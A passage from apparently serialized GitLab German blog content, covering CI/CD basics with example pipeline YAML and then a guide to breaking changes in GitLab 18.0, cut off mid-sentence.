einzigen Klick oder automatisch in verschiedenen Umgebungen (z. B. Staging, Produktion) bereitstellen.  \n* **Kontinuierliche Bereitstellung** geht noch einen Schritt weiter, indem sie *jeden erfolgreichen Build* automatisch für die Produktion bereitstellt. Dies erfordert ein hohes Maß an Vertrauen in deine automatisierten Tests und deinen Bereitstellungsprozess.\n\n### Vorteile von GitLab CI/CD\n\nGitLab CI/CD ist ein leistungsstarkes, eingegliedertes System, das in GitLab integriert ist. Es bietet ein nahtloses Erlebnis für die Automatisierung deines gesamten Software-Entwicklungsprozesses. Mit GitLab CI/CD kannst du:\n\n* **Alles automatisieren:** Erstelle, teste und stelle deine Anwendungen mit Leichtigkeit bereit.  \n* **Bugs frühzeitig erkennen:** Erkenne und behebe Fehler, bevor sie die Produktion erreichen.  \n* **Schnelleres Feedback erhalten:** Du erhältst sofortige Rückmeldung zu deinen Code-Änderungen.  \n* **Die Zusammenarbeit verbessern:** Arbeite mit automatisierten Workflows effektiver im Team zusammen.  \n* **Die Bereitstellung beschleunigen:** Veröffentliche Software schneller und häufiger.  \n* **Risiken reduzieren:** Minimiere Fehler bei der Bereitstellung und vermeide Rollbacks.\n\n### Die Elemente von GitLab CI/CD\n\n* `.gitlab-ci.yml`**:** Diese [YAML-Datei (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/yaml/), die sich im Stammverzeichnis deines Projekts befindet, definiert deine CI/CD-Pipeline, einschließlich Phasen, Jobs und Runner.  \n* [**GitLab Runner** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/runner/)**:** Dieser Agent führt deine CI/CD-Jobs auf deiner Infrastruktur aus (z. B. auf physischen Computern, virtuellen Maschinen, Docker-Containern oder Kubernetes-Clustern).  \n* [**Phasen** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/yaml/#stages)**:** Phasen definieren die Reihenfolge der Ausführung deiner Jobs (z. B. Erstellen, Testen und Bereitstellen).  \n* [**Jobs** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/yaml/#job-keywords)**:** Jobs sind einzelne Arbeitseinheiten innerhalb einer Phase (z. B. Code kompilieren, Tests ausführen und für das Staging bereitstellen).\n\n### GitLab CI einrichten\n\nDie ersten Schritte mit GitLab CI sind einfach. Hier ist ein einfaches Beispiel für eine `.gitlab-ci.yml`-Datei:\n\n```yaml\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild_job:\n  stage: build\n  script:\n    - echo \"Building the application...\"\n\ntest_job:\n  stage: test\n  script:\n    - echo \"Running tests...\"\n\ndeploy_job:\n  stage: deploy\n  script:\n    - echo \"Deploying to production...\"\n  environment:\n    name: production\n\n```\n\nDiese Konfiguration definiert drei Phasen: „build“, „test“ und „deploy“. Jede Phase enthält einen Job, der ein einfaches Skript ausführt.\n\n### Beispiele für die CI/CD-Konfiguration\n\nSehen wir uns einige realistischere Beispiele an.\n\n**Erstellen und Bereitstellen einer Node.js-Anwendung**\n\nDie folgende Pipelinedefinition beschreibt die Verwendung von npm, um eine Node.js-Anwendung zu erstellen und zu testen, und [dpl (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/examples/deployment/), um die Anwendung in Heroku bereitzustellen. In der Bereitstellungsphase der Pipeline werden die [GitLab-CI/CD-Variablen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/variables/) verwendet, mit denen Entwickler(innen) vertrauliche Informationen (z. B. Zugangsdaten) speichern und sicher in CI/CD-Prozessen verwenden können. In diesem Beispiel wird ein API-Schlüssel für die Bereitstellung in Heroku unter dem variablen Schlüsselnamen '$HEROKU_API_KEY` gespeichert, den das dpl-Tool verwendet.\n\n```yaml\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild:\n  stage: build\n  image: node:latest\n  script:\n    - npm install\n    - npm run build\n\ntest:\n  stage: test\n  image: node:latest\n  script:\n    - npm run test\n\ndeploy:\n  stage: deploy\n  image: ruby:latest\n  script:\n    - gem install dpl\n    - dpl --provider=heroku --app=$HEROKU_APP_NAME --api-key=$HEROKU_API_KEY\n\n```\n\n**Bereitstellung in verschiedenen Umgebungen (Staging und Produktivumgebung)**\n\nGitLab bietet auch [Umgebungen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/environments/) mit CI/CD. Mit dieser Funktion können Benutzer(innen) die Bereitstellung von CI/CD auf Infrastrukturziele verfolgen. Im folgenden Beispiel fügt die Pipeline Phasen mit einer Umgebungseigenschaft für eine Staging- und eine Produktivumgebung hinzu. Während die Phase „deploy_staging“ ihr Skript immer ausführt, erfordert die Phase „deploy_production“ eine manuelle Genehmigung, um eine versehentliche Bereitstellung in der Produktionsumgebung zu verhindern.\n\n```yaml\n\nstages:\n  - build\n  - test\n  - deploy_staging\n  - deploy_production\n\nbuild:\n  # ...\n\ntest:\n  # ...\n\ndeploy_staging:\n  stage: deploy_staging\n  script:\n    - echo \"Deploying to staging...\"\n  environment:\n    name: staging\n\ndeploy_production:\n  stage: deploy_production\n  script:\n    - echo \"Deploying to production...\"\n  environment:\n    name: production\n  when: manual  # Requires manual approval\n\n```\n\n### GitLab Auto-DevOps\n\n[GitLab Auto-DevOps (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/topics/autodevops/) vereinfacht CI/CD, indem es eine vordefinierte Konfiguration bereitstellt, mit der deine Anwendungen automatisch erstellt, getestet und bereitgestellt werden. Es nutzt bewährte Methoden und Branchenstandards, um deinen Workflow zu optimieren.\n\nSo aktivierst du Auto-DevOps:\n\n1. Gehe in deinem Projekt zu **Einstellungen > CI/CD > Allgemeine Pipelines**.  \n2. Aktiviere die Option **Auto-DevOps**.\n\nAuto-DevOps erkennt automatisch die Sprache und das Framework deines Projekts und konfiguriert die erforderlichen Build-, Test- und Bereitstellungsphasen. Du musst nicht einmal eine `.gitlab-ci.yml`-Datei erstellen.\n\n### CI/CD-Katalog\n\nDer [CI/CD-Katalog (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/) ist eine Liste von Projekten mit veröffentlichten [CI/CD-Komponenten (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/components/), die du zur Erweiterung deines CI/CD-Workflows nutzen kannst. Jeder kann ein Komponentenprojekt erstellen und es zum CI/CD-Katalog hinzufügen oder zu einem bestehenden Projekt beitragen, um die verfügbaren Komponenten zu verbessern. Die veröffentlichten Komponenten findest du im [CI/CD-Katalog](https://gitlab.com/explore/catalog) auf GitLab.com.\n\n> [Tutorial: So richtest du deine erste GitLab-CI/CD-Komponente ein (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component/)\n\n### CI-Vorlagen\n\nDu kannst auch deine eigenen [CI-Vorlagen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/examples/) erstellen, um CI/CD-Konfigurationen zu standardisieren und über mehrere Projekte hinweg wiederzuverwenden. Das fördert die Konsistenz und reduziert doppelte Arbeit.\n\nSo erstellst du eine CI-Vorlage:\n\n1. Erstelle eine `.gitlab-ci.yml`-Datei in einem eigenen Projekt oder Repository.  \n2. Definiere deine CI/CD-Konfiguration in der Vorlage. \n3. Verwende in der `.gitlab-ci.yml`-Datei deines Projekts das Schlüsselwort `include`, um die Vorlage einzuschließen.\n\n## Entwicklung der nächsten Generation\n\nGitLab CI/CD ist ein leistungsstarkes Tool, das deinen Workflow bei der Entwicklung verbessern kann. Wenn du die Konzepte von CI/CD verstehst, deine Pipelines konfigurierst und Funktionen wie Auto-DevOps, den CI/CD-Katalog und CI-Vorlagen nutzt, kannst du deinen gesamten Software-Entwicklungsprozess automatisieren und schneller und effizienter hochwertige Software liefern.\n\n> Willst du dein Wissen vertiefen? Registriere dich für die [englischsprachigen Kurse der GitLab University](https://university.gitlab.com/). Du kannst auch sofort mit der [kostenlosen Testversion von GitLab Ultimate](https://about.gitlab.com/de-de/free-trial/?hosted=saas) loslegen.\n\n## Reihe „Erste Schritte mit GitLab“\n\nWeitere Artikel in unserer Serie „Erste Schritte mit GitLab“:\n\n- [Benutzerverwaltung](https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-how-to-manage-users/)\n- [Projekte in GitLab importieren (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n- [Projektmanagement](https://about.gitlab.com/de-de/blog/getting-started-with-gitlab-mastering-project-management/)\n- [Automatisiere Agile-Workflows mit dem gem gitlab-triage](https://about.gitlab.com/de-de/blog/automating-agile-workflows-with-the-gitlab-triage-gem/)\n",[110,1534,1535,746,680,767],{"slug":1673,"featured":92,"template":682},"getting-started-with-gitlab-understanding-ci-cd","content:de-de:blog:getting-started-with-gitlab-understanding-ci-cd.yml","Getting Started With Gitlab Understanding Ci Cd","de-de/blog/getting-started-with-gitlab-understanding-ci-cd.yml","de-de/blog/getting-started-with-gitlab-understanding-ci-cd",{"_path":1679,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1680,"content":1686,"config":1697,"_id":1699,"_type":16,"title":1700,"_source":17,"_file":1701,"_stem":1702,"_extension":20},"/de-de/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0",{"ogTitle":1681,"schema":1682,"ogImage":1683,"ogDescription":1684,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1685,"title":1681,"canonicalUrls":1685,"description":1684},"GitLab 18.0: Migration Guide für Breaking Changes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Die Breaking Changes in GitLab 18.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Martin Brümmer\"},{\"@type\":\"Person\",\"name\":\"Fabian Zimmer\"},{\"@type\":\"Person\",\"name\":\"Sam Wiskow\"}],\n        \"datePublished\": \"2025-04-18\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659437/Blog/Hero%20Images/AdobeStock_398929148.jpg","GitLab 18.0 Breaking Changes: Analysiere Auswirkungen auf deine Projekte. Dokumentation mit allen Maßnahmen für einen sicheren Upgrade-Prozess.","https://about.gitlab.com/blog/a-guide-to-the-breaking-changes-in-gitlab-18-0",{"heroImage":1683,"body":1687,"authors":1688,"updatedDate":1692,"date":1693,"title":1694,"tags":1695,"description":1696,"category":680},"GitLab 18.0, unser nächstes Major Release, wird vollgepackt sein mit neuen Funktionen, die die Grenzen der DevSecOps-Innovation sprengen. Gleichzeitig werden wir einige veraltete Funktionen aus GitLab entfernen. Hier erfährst du, was du über diese Änderungen wissen musst und wie du ihre Auswirkungen minimieren kannst.\n\n## Inhaltsverzeichnis\n- [Bereitstellungsfenster](#bereitstellungsfenster)\n - [GitLab.com](#gitlabcom)\n - [GitLab Self-Managed](#gitlab-self-managed)\n - [GitLab Dedicated](#gitlab-dedicated)\n- [Breaking Changes](#breaking-changes)\n - [Hohe Auswirkungen](#hohe-auswirkungen)\n - [Mittlere Auswirkungen](#mittlere-auswirkungen)\n - [Geringe Auswirkungen](#geringe-auswirkungen)\n- [Tools und Ressourcen, um deine Auswirkungen zu verwalten](#tools-und-ressourcen-um-deine-auswirkungen-zu-verwalten)\n\n## Bereitstellungsfenster\n\n### GitLab.com  \n\nBreaking Changes für GitLab.com waren auf diese drei Zeitfenster beschränkt: \n\n- 21.–23. April 2025  \n- 28.–30. April 2025  \n- 5.–7. Mai 2025\n\nViele weitere Änderungen werden im Laufe des Monats eingeführt. In dieser [englischsprachigen Dokumentation zu den grundlegenden Änderungen](https://docs.gitlab.com/update/breaking_windows/) erfährst du mehr über die wichtigsten Änderungen in jedem dieser Zeitfenster.\n\n***Hinweis:** In Ausnahmefällen können Breaking Changes geringfügig außerhalb dieser Zeitfenster liegen.* \n\n### GitLab Self-Managed\n\nGitLab 18.0 ist ab dem 15. Mai verfügbar. Mehr über den Release-Zeitplan erfährst du [hier (nur in englischer Sprache verfügbar)](https://about.gitlab.com/releases/).\n\n### GitLab Dedicated\n\nDas Upgrade auf GitLab 18.0 findet während deines Wartungsfensters vom 24.–29. Juni 2025 statt. Mehr dazu erfährst du [hier (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/administration/dedicated/maintenance/#release-rollout-schedule). Dort findest du auch dein zugewiesenes Wartungsfenster.\n\nWir haben außerdem spezielle Tools und Ressourcen entwickelt, die dir dabei helfen, die Auswirkungen der Änderungen auf deine Umgebung abzuschätzen und alle notwendigen Maßnahmen vor dem Upgrade auf 18.0 zu planen. [Informationen zu diesen Tools und Ressourcen zur Risikominderung](#tools-and-resources-to-manage-your-impact) findest du weiter unten in diesem Artikel.\n\nAuf der [Seite zu veralteten Funktionen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/update/deprecations?removal_milestone=18.0), findest du eine vollständige Liste der Komponenten, die in 18.0 entfernt werden sollen. Im Folgenden erfährst du, was auf dich zukommt und wie du dich auf die diesjährige Version vorbereiten kannst, je nachdem, welche Bereitstellung du verwendest.\n\n## Breaking Changes\n\n### Hohe Auswirkungen\n\n**1. CI/CD-Job-Token – Entfernung der Einstellung „Zugriff von deinem Projekt beschränken“**\n\nGitLab.com | Self-Managed | Dedicated\n\nIn GitLab 14.4 haben wir eine Einstellung eingeführt, um **[den Zugriff *von* den CI/CD-Job-Token (CI_JOB_TOKEN) deines Projekts zu beschränken (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/jobs/ci_job_token/#limit-your-projects-job-token-access)** und so die Sicherheit zu erhöhen. Diese Einstellung wurde **CI_JOB_TOKEN-Zugriff beschränken** genannt. In GitLab 16.3 haben wir diese Einstellung aus Gründen der Übersichtlichkeit in **Zugriff *von* diesem Projekt beschränken** umbenannt.\n\nIn GitLab 15.9 haben wir die alternative Einstellung **[Autorisierte Gruppen und Projekte (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/jobs/ci_job_token/#add-a-group-or-project-to-the-job-token-allowlist)** eingeführt. Diese Einstellung steuert den Zugriff von Job-Token auf dein Projekt mithilfe einer Zulassungsliste. Diese neue Einstellung ist eine deutliche Verbesserung gegenüber der ursprünglichen Einstellung. Die erste Iteration wurde in GitLab 16.0 als veraltet markiert und soll in GitLab 18.0 entfernt werden.\n\nDie Einstellung **Zugriff *von* diesem Projekt beschränken** ist für alle neuen Projekte standardmäßig deaktiviert. Ab GitLab 16.0 kannst du diese Einstellung nicht wieder aktivieren, nachdem sie in einem Projekt deaktiviert wurde. Verwende stattdessen die Einstellung **Autorisierte Gruppen und Projekte**, um den Zugriff von Job-Token auf deine Projekte zu steuern.\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)]( https://docs.gitlab.com/update/deprecations/#cicd-job-token---limit-access-from-your-project-setting-removal)\n- [Überprüfung über GitLab Detective verfügbar](https://gitlab.com/gitlab-com/support/toolbox/gitlab-detective/-/blob/main/README.md)\n\n**2. CI/CD-Job-Token – Durchsetzung der Zulassungsliste für autorisierte Gruppen und Projekte**\n\nGitLab.com | Self-Managed | Dedicated\n\nMit der **[Einstellung für autorisierte Gruppen und Projekte (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/jobs/ci_job_token.html#add-a-group-or-project-to-the-job-token-allowlist)** (in GitLab 15.9 eingeführt und in GitLab 16.3 in **Zugriff auf dieses Projekt beschränken** umbenannt) kannst du den Zugriff von CI/CD-Job-Token auf dein Projekt verwalten. Wenn du **Nur dieses Projekt und alle Gruppen und Projekte in der Zulassungsliste** auswählst, können nur Gruppen oder Projekte, die der Zulassungsliste hinzugefügt wurden, Job-Token verwenden, um auf dein Projekt zuzugreifen.\n\n* **Vor GitLab 15.9** war die Zulassungsliste standardmäßig deaktiviert (Einstellung [**Alle Gruppen und Projekte** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/jobs/ci_job_token.html#allow-any-project-to-access-your-project)), sodass der Zugriff von Job-Token aus jedem Projekt möglich war.   \n* **Seit GitLab 17.6** haben Administrator(inn)en von GitLab-Self-Managed- und Dedicated-Instanzen die Möglichkeit, [**eine sicherere Einstellung für alle Projekte zu erzwingen** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/administration/settings/continuous_integration.html#job-token-permissions), die verhindert, dass Projektbetreuer(innen) **Alle Gruppen und Projekte** auswählen. Diese Änderung sorgt für ein höheres Maß an Sicherheit zwischen Projekten.   \n* In GitLab 18.0 ist diese Einstellung standardmäßig aktiviert. Auf GitLab.com werden wir die Zulassungslisten deiner Projekte automatisch auf der Grundlage deiner Projekt-Authentifizierungsprotokolle auffüllen.   \n* Um sich auf diese Änderung auf **GitLab.com** vorzubereiten, sollten Projektbetreuer(innen), die das Job-Token für die projektübergreifende Authentifizierung verwenden, die Zulassungslisten für **Autorisierte Gruppen und Projekte** ihres Projekts belegen. Sie sollten dann die Einstellung auf **Nur** **dieses Projekt und Gruppen und Projekte in der Zulassungsliste** ändern. Wir empfehlen die Verwendung der verfügbaren [Migrationswerkzeuge (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/jobs/ci_job_token/#auto-populate-a-projects-allowlist), um die Erstellung der Zulassungsliste basierend auf den [Authentifizierungsprotokollen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/jobs/ci_job_token/#job-token-authentication-log) des Projekts vor GitLab 18.0 zu ***automatisieren***.   \n* **Benutzer(innen) von Self-Managed** sollten die Zulassungslisten vor dem Upgrade auf 18.0 belegen.   \n* **Dedicated-Benutzer(innen)** sollten mit ihrem GitLab-Kontoteam zusammenarbeiten, um die geeignete Strategie für ihre spezifische Instanz zu entwickeln.\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#cicd-job-token---authorized-groups-and-projects-allowlist-enforcement)\n- [Dokumentation (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ci/jobs/ci_job_token/#add-a-gr)\n- [Überprüfung über GitLab Detective verfügbar](https://gitlab.com/gitlab-com/support/toolbox/gitlab-detective/-/blob/main/README.md)\n\n**3. Durchsetzung des Geltungsbereichs von Abhängigkeits-Proxy-Token**\n\nGitLab.com | Self-Managed | Dedicated\n\nDer Abhängigkeits-Proxy für Container akzeptiert die Anfragen **`docker login`** und **`docker pull`** mit **persönlichen, Projekt-** oder **Gruppen-**Zugriffstoken, ohne deren Geltungsbereich zu validieren.\n\nIn GitLab 18.0 benötigt der Abhängigkeits-Proxy sowohl den Geltungsbereich **`read_registry`** als auch den Geltungsbereich **`write_registry`** für die Authentifizierung. Nach dieser Änderung werden Authentifizierungsversuche mit Token ohne diese Bereiche **abgelehnt**.\n\nErstelle vor dem Upgrade neue Zugriffstoken mit den [**erforderlichen Geltungsbereichen** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/packages/dependency_proxy/#authenticate-with-the-dependency-proxy-for-container-images) und aktualisiere deine Workflow-Variablen und -Skripte mit diesen neuen Token.\n\nDu hast auch die Möglichkeit, den [**Dependency Token Checker**](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/dependancy-token-checker/) zu verwenden, ein von der Community entwickeltes Skript, mit dem du Token anzeigen und automatisch rotieren kannst.\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#dependency-proxy-token-scope-enforcement)\n\n### Mittlere Auswirkungen\n\n**1. Neue Fristen für die Datenaufbewahrung bei Sicherheitslücken auf GitLab.com**\n\nGitLab.com – **nur für Kund(inn)en mit Ultimate-Tarif**\n\nAb GitLab 18.1 werden wir mit einem schrittweisen, sechsmonatigen Rollout eine **neue Frist für die Datenaufbewahrung** für GitLab.com **Ultimate**-Kund(inn)en einführen, um die Systemleistung und -zuverlässigkeit zu verbessern. Die Datenaufbewahrungsfrist bestimmt, wie lange die Daten zu deinen Sicherheitslücken gespeichert werden.\n\nSicherheitslücken, die älter als 12 Monate sind und nicht aktualisiert wurden, werden automatisch in Cold-Storage-Archive verschoben. Diese Archive:\n\n* bleiben über die GitLab-Benutzeroberfläche zugänglich und können heruntergeladen werden\n* werden 3 Jahre lang aufbewahrt  \n* werden nach 3 Jahren endgültig gelöscht \n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#new-data-retention-limits-for-vulnerabilities-on-gitlabcom)\n- [Dokumentation (nur in englischer Sprache verfügbar)](https://handbook.gitlab.com/handbook/security/records-retention-deletion/)\n\n**2. Ablehnen von Pull-Richtlinien für Container-Images, die nicht in `allowed_pull_policies` enthalten sind**\n\nGitLab.com | Self-Managed | Dedicated  \n\nAlle konfigurierten Pull-Richtlinien sollten in der [**allowed_pull_policies-Konfiguration** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/runner/executors/docker/#allow-docker-pull-policies) vorhanden sein, die in der Datei **`config.toml`** des Runners angegeben ist. Wenn dies nicht der Fall ist, sollte der Job mit dem Fehler **`incompatible pull policy`** fehlschlagen.\n\nWenn in der aktuellen Implementierung mehrere Pull-Richtlinien definiert sind, werden Jobs übergeben, wenn mindestens eine Pull-Richtlinie mit den Richtlinien in **`allowed-pull-policies`** übereinstimmt, auch wenn andere Richtlinien nicht enthalten sind.\n\nIn GitLab 18.0 schlagen Jobs nur fehl, wenn keine der Pull-Richtlinien mit den in **`allowed-pull-policies`** angegebenen übereinstimmt. Im Gegensatz zum früheren Verhalten verwenden Jobs jedoch nur die in **`allowed-pull-policies`** aufgeführten Pull-Richtlinien. Diese Unterscheidung kann dazu führen, dass Jobs, die derzeit erfolgreich ausgeführt werden, in GitLab 18.0 fehlschlagen.\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#reject-container-image-pull-policies-not-in-allowed_pull_policies)\n- [Dokumentation (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/runner/executors/docker/#allow-docker-pull-policies)\n\n**3. PostgreSQL 14 und 15 werden nicht mehr unterstützt**\n\nSelf-Managed \n\nGitLab folgt einem [**jährlichen Upgrade-Rhythmus für PostgreSQL** (nur in englischer Sprache verfügbar)](https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/data-access/database-framework/postgresql-upgrade-cadence/).\n\nDie Unterstützung für PostgreSQL 14 und 15 soll in GitLab 18.0 entfernt werden. Ab GitLab 18.0 ist PostgreSQL 16 die minimal erforderliche Version von PostgreSQL.\n\nPostgreSQL 14 und 15 werden für den gesamten Release-Zyklus von GitLab 17 unterstützt. PostgreSQL 16 wird auch für Instanzen unterstützt, die vor GitLab 18.0 ein Upgrade durchführen möchten.\n\nUm diese Änderung auf Instanzen vorzubereiten, die kein [**PostgreSQL-Cluster** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/administration/postgresql/replication_and_failover/) verwenden (z. B. wenn du eine einzelne PostgreSQL-Instanz ausführst, die du mit einem Omnibus-Linux-Paket installiert hast), versuchen Upgrades auf GitLab 17.11, PostgreSQL automatisch auf Version 16 zu aktualisieren. Wenn du [**PostgreSQL-Cluster**](https://docs.gitlab.com/administration/postgresql/replication_and_failover/) verwendest oder [**dich gegen dieses automatische Upgrade entscheidest** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/omnibus/settings/database/#opt-out-of-automatic-postgresql-upgrades), musst du [**manuell ein Upgrade auf PostgreSQL 16**](https://docs.gitlab.com/omnibus/settings/database/#upgrade-packaged-postgresql-server) durchführen, um ein Upgrade auf GitLab 18.0 durchführen zu können. Stelle sicher, dass du über genügend Speicherplatz verfügst, um das Upgrade durchzuführen.\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#postgresql-14-and-15-no-longer-supported)\n- [Dokumentation (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/omnibus/settings/database/#upgrade-packaged-postgresql-server)\n- [Migrationsrichtlinien (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/omnibus/development/managing-postgresql-versions/)\n\n**4. Einstellung der Terraform-CI/CD-Vorlagen**\n\nSelf-Managed\n\nDie Terraform-CI/CD-Vorlagen werden eingestellt und in GitLab 18.0 entfernt. Dies betrifft die folgenden Vorlagen:\n\n* `Terraform.gitlab-ci.yml`  \n* `Terraform.latest.gitlab-ci.yml`  \n* `Terraform/Base.gitlab-ci.yml`  \n* `Terraform/Base.latest.gitlab-ci.yml`\n\nGitLab kann die Binärdatei **`terraform`** in den Job-Images nicht auf eine Version aktualisieren, die unter der BSL lizenziert ist.\n\nUm Terraform weiterhin zu verwenden, klone die Vorlagen und das [**Terraform-Image**](https://gitlab.com/gitlab-org/terraform-images) und pflege sie nach Bedarf. GitLab bietet [**detaillierte Anweisungen**](https://gitlab.com/gitlab-org/terraform-images) für die Migration zu einem benutzerdefinierten Image.\n\n**Als Alternative empfehlen wir die Verwendung der neuen CI/CD-Komponente OpenTofu auf GitLab.com oder der neuen CI/CD-Vorlage OpenTofu in GitLab Self-Managed.** CI/CD-Komponenten sind noch nicht für GitLab Self-Managed verfügbar. [**Ticket #415638**](https://gitlab.com/gitlab-org/gitlab/-/issues/415638) enthält jedoch den Vorschlag, diese Funktion hinzuzufügen. Wenn CI/CD-Komponenten auf GitLab Self-Managed verfügbar werden, wird die CI/CD-Vorlage OpenTofu entfernt.\n\nErfahre mehr über die neue [CI/CD-Komponente OpenTofu](https://gitlab.com/components/opentofu).\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#deprecate-terraform-cicd-templates)\n\n**5. Wichtiges Update des Prometheus-Unterdiagramms**\n\nSelf-Managed\n\nMit GitLab 18.0 und GitLab Chart 9.0 wird das Prometheus-Unterdiagramm von 15.3 auf 27.3 aktualisiert.\n\nZusammen mit diesem Update wird standardmäßig Prometheus 3 ausgeliefert.\n\nFür das Upgrade sind manuelle Schritte erforderlich. Wenn du Alertmanager, Node Exporter oder Pushgateway aktiviert hast, musst du auch deine Helm-Werte aktualisieren.\n\nWeitere Informationen findest du im [**Migrationsleitfaden** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/charts/releases/9_0/#prometheus-upgrade).\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#major-update-of-the-prometheus-subchart)\n\n### Geringe Auswirkungen\n\n**1. Pakete für SUSE Linux Enterprise Server 15 SP2 werden nicht mehr erstellt**\n\nSelf-Managed\n\nDie langfristige Unterstützung (LTSS) für SUSE Linux Enterprise Server (SLES) 15 SP2 endete im Dezember 2024.\n\nDaher werden wir die SLES-SP2-Distribution für Linux-Paketinstallationen nicht mehr unterstützen. Du solltest ein Upgrade auf SLES 15 SP6 durchführen, um weiterhin Support zu erhalten.\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#support-for-suse-linux-enterprise-server-15-sp2)\n\n**2. Entfernen des Gitaly-Ratenbegrenzers**\n\nSelf-Managed\n\nGitaly unterstützte bisher [**RPC-basierte Ratenbegrenzung**](https://gitlab.com/gitlab-org/gitaly/-/blob/4b7ea24f6172a03e7989879200b47b6fd0e2d059/doc/backpressure.md#L55-55). Wir stellen diese Funktion ein, da sie nicht die gewünschten Ergebnisse erzielt. Weitere Informationen findest du im Ticket für die Deaktivierung.\n\nWenn Kund(inn)en den Ratenbegrenzer konfiguriert haben (der veraltet ist), wird kein Fehler zurückgegeben und die Konfiguration wird einfach ignoriert.\n\nKund(inn)en sollten stattdessen den [**Gleichzeitigkeitsgrenzwert** (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/administration/gitaly/concurrency_limiting/) verwenden.\n\n- [Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#gitaly-rate-limiting)\n\n**3. Einstellung der Unterstützung für NGINX-Controller-Image 1.3.1**\n\nSelf-Managed\n\nWir aktualisieren das Standard-NGINX-Controller-Image auf 1.11.2. Diese neue Version erfordert neue RBAC-Regeln und einige Benutzer(innen) setzen **nginx-ingress.rbac.create: false**, um ihre eigenen RBAC-Regeln zu verwalten.\n\nDiese Benutzer(innen) müssen die RBAC-Regeln hinzufügen, bevor sie zu 1.11.2 oder höher migrieren. Wir haben einen Fallback-Mechanismus hinzugefügt, um 1.3.1 nur dann bereitzustellen, wenn dieser Helm-Wert wie oben festgelegt ist. Wir haben auch **nginx-ingress.controller.image.disableFallback** hinzugefügt, das standardmäßig auf „false“ gesetzt ist. Benutzer(innen), die ihr eigenes RBAC verwalten, können diesen Wert auf „true“ setzen, damit ihre Bereitstellungen auch 1.11.2 verwenden können, nachdem sie sichergestellt haben, dass die neuen RBAC-Regeln in Kraft sind.\n\nWir planen, die Unterstützung für das 1.3.1-Image und den Fallback-Mechanismus mit der Version 17.5 einzustellen, damit wir diese Unterstützung vollständig entfernen und nur noch 1.11.2 verwenden können, das zahlreiche Sicherheitsvorteile bietet.\n\n[Hinweis zur Deaktivierung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/update/deprecations/#fallback-support-for-gitlab-nginx-chart-controller-image-v131)\n\n**4. Update der Hauptversion der Analysatoren der Anwendungssicherheitstests**\n\nGitLab.com | Self-Managed | Dedicated\n\nDie Phase der Anwendungssicherheitstests wird die Hauptversionen der Analysatoren zusammen mit der Veröffentlichung von GitLab 18.0 aktualisieren.\n\nWenn du nicht die standardmäßig enthaltenen Vorlagen verwendest oder deine Analysator-Versionen fixiert hast, musst du deine CI/CD-Job-Definition aktualisieren, um entweder die fixierte Version zu entfernen oder die neueste Hauptversion zu aktualisieren.\n\nBenutzer(innen) von GitLab 17.0–17.11 erhalten bis zur Veröffentlichung von GitLab 18.0 weiterhin normale Analysator-Updates. Nach 